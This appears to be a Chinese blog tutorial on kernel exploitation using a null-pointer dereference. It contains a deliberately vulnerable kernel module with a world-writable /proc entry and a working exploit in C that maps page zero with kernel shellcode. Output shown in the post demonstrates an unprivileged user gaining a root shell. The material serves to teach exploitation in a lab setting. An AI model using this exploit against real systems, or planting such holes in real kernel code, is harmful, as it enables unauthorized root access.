[kernel pwn 入门] 1. 空指针

前言

网上相关的资料很多了. 但是几乎都是基于 linux 2.6 的[1]. 感觉太老了, 所以我在配置环境的时候选择了 4.4.117 . 虽然原理都一样, 但是因为linux内核提供的api有所不同, 所以无论是模块代码还是exp都和基于 2.6 的内核可能有所不同. 在此分享一下.

这种利用方式的原理参考[1]. 不再多说. 直接贴 ko 代码和 exp

ko代码

linux 2.26 中用到的 create_proc_entry 函数在 linux 3.10 之后已经被抛弃了. 替换为proc_create_data函数[2]. 代码基于 [3] 中示例代码修改得到.

#include <linux/init.h>  
#include <linux/module.h>  
#include <linux/types.h>  
#include <linux/fs.h>  
#include <linux/proc_fs.h>  

MODULE_LICENSE("GPL");  

void (*myfunc_ptr)(void);
int vuln_write(struct file *file,const char *buf,unsigned long len){
    (*myfunc_ptr)();
    return 1;
}

static const struct file_operations dl_file_ops = {
    .owner = THIS_MODULE,      
    .write = vuln_write,
};  

static int __init test_module_init(void)  {  
    proc_create_data("test", 0666, NULL, &dl_file_ops, NULL);
    return 0;  
}  

static void __exit test_module_exit(void)  
{  
    printk("[test]: module exit\\n");
    remove_proc_entry("test", NULL);
}  
module_init(test_module_init);  
module_exit(test_module_exit);

Makefile:

obj-m += pwn.o

KDIR="/home/pu1p/kernel_pwn/1_env_setup/linux-4.4.117/"

mod:
    make -C $(KDIR) M=$(PWD) modules
exp:
    gcc --static -O0 exp.c -o exp
poc:
    gcc --static -O0 poc.c -o poc
clean:
    make -C $(KDIR) M=$(PWD) clean
    rm exp, poc

exp.c

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <string.h>
#include <unistd.h>

void die(char *msg){
        puts(msg);
        exit(-1);
}
// asm('xor rdi, rdi;xor rax, rax; mov rbx, 0xffffffff810439b0;call rbx;mov rdi, rax;mov rbx, 0xffffffff810437b0; call rbx;ret;')
char payload[] = "H1\\xffH1\\xc0H\\xc7\\xc3\\xb0\\x39\\x04\\x81\\xff\\xd3H\\x89\\xc7H\\xc7\\xc3\\xb0\\x37\\x04\\x81\\xff\\xd3\\xc3";
// char payload[] = "\\xb09";
int main(){
    mmap(0, 4096,PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS ,-1, 0);
    memcpy(0, payload, sizeof(payload));
    int fd = open("/proc/test", O_WRONLY);
    if (fd < 0)
        die("open file error");
    if (write(fd, "pu1p", 4) <= 0)
        die("write error");
    system("/bin/sh");//get root shell
    return 0;
}

效果如下

/pwn $ id                                          
uid=1000(user) gid=1000(user) groups=1000(user)    
/pwn $ /pwn/exp                                    
/bin/sh: can't access tty; job control turned off  
/pwn # id                                          
uid=0(root) gid=0(root)                            
/pwn #

参考

[1] https://blog.csdn.net/panhewu9919/article/details/99441712

[2] https://stackoverflow.com/questions/25746461/error-implicit-declaration-of-function-create-proc-read-entry-werror-implic

[3] http://www.embeddedlinux.org.cn/emb-linux/file-system/201703/27-6340.html

©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • feisky云计算、虚拟化与Linux技术笔记posts - 1014, comments - 298, trac...
    不排版阅读 9,326评论 0 5
  • 1.描述计算机的组成及其功能 (一)计算机的组成 1.CPU 2.CPU风扇 3.BIOS 4.内存 5.硬盘 6...
    whamai阅读 5,389评论 0 1
  • make menuconfig过程解析作者 codercjg 在 28 九月 2015, 5:27 下午 make...
    codercjg阅读 4,626评论 0 1
  • Linux Kernel Pwn 入门 ​ kernel 也是一个程序,用来管理软件发出的数据 I/O 要求,...
    Nevv阅读 5,744评论 0 0
  • 未来不是我们找到的,而是我们创造。路不是原来就有的,是走出来的。创造未来,开辟道路的行动即改变了行动者,也改变了...
    赋浓阅读 1,313评论 0 0